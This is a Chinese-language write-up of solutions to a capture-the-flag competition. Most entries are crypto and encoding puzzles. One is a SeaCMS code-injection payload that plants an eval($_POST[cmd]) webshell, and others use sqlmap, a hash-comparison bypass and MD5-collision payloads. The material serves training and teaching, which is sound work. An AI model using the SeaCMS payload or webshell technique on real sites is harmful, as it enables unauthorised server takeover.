周六做了一下嘉韦思杯,题目很入门,这里记录一下,太久没碰RE就没做了(其实是不会)
作战计划
根据题目是seacms,百度一下seacms的漏洞,找到这么一篇文章
https://www.cnblogs.com/leixiao-/p/9786034.html
根据文章中的描述,构造如下payload
http://47.103.43.235:84/search.php?searchtype=5&tid=&area=eval($_POST[cmd])
用蚁剑链接,在服务器根目录下发现flag
土肥原贤二
很简单的题目,用sqlmap就可以跑出来
吴佩孚
base64解密链接中字符串,得到一串jsfuck,在浏览器执行即可得到flag
日军空袭
这应该是一串不全的base64代码,解密过程中报了一次错,然后站点自动补了一段字符串
经过几次解密
得到
fB__l621a4h4g_ai{&i}
栅栏解密即可
飞虎队
题目是希尔加密
在网上搜索很久
找到了下面的站点
http://2-dreamfever.lofter.com/post/1d226cf1_748daf4
惊喜的是里面的矩阵和题目中的一样
照着他的思路我们把密文转成数字
a=0,b=1,c=2,d=3…
解密矩阵
8 16 27
8 99 24
27 24 27
矩阵为3*3 所以将密文3个分为一组 去乘解密矩阵然后mod(26)
得到
hillisflagxx
戴星炳
上脚本
import re
import requests
s = requests.Session()
url = 'http://47.103.43.235:82/web/a/index.php'
r = s.get(url)
#r.encoding = 'utf-8'
print(r.text)
shi = re.compile('</p><p>(.*?)</p>',re.S)
num = re.findall(shi, r.text)
print(num)
#print ('result:\n\n%s=%d\n' % (num, eval(num)))
#r = s.post(url, data={'result': eval(num[0])})
#print (r.text)
numstr = ""
result = eval(num[0])
print(result)
html = s.post(url,data={'result':result})
print(html.text)
大美晚报
扫描二维码,没发现有用的信息
winhex打开,在末尾发现zip数据段,提取出来
根据提示QQ号,暴力破解压缩包密码
打开即可获得flag
池步洲
打开题目,查看源码,发现index.phps
下载后
两个字符串不同但是sha1值要相同,这里可以用数组绕过
袁殊
基础的RSA,用RSAtools跑一下就出来了
晴气庆胤
打开题目查看源码,发现了如下代码
MD5碰撞的题目,网上有现成的整理的payload
https://www.cnblogs.com/zaqzzz/p/10029887.html
潘汉年
题目是这样的
然后提示flag格式,说明flag{和密文的前五位是对应的
转换一下密文和flag{的ascii码对应的数值
脚本:
a = "bg[`s"
b = "flag{"
a = list(a)
b = list(b)
for i in b:
print(ord(i))
print('\n\n')
for e in a:
print(ord(e))
可以看到他们ascii码对应数值的差是递增的4,5,6,7……
这样题目就清晰了,解密flag脚本如下
a = "bg[`sZ*Zg'dPfP`VM_SXVd"
a = list(a)
temp = 4
flag = ""
for i in a:
print(ord(i))
result = ord(i)+temp
temp = temp+1
flag = flag + chr(result)
print(flag)
总结
可能是是第一届的原因吧,主办方或许有的地方经验还不太够,但是也能看出主办方是花了一些心思的,尤其是UI好评,也希望他们越办越好。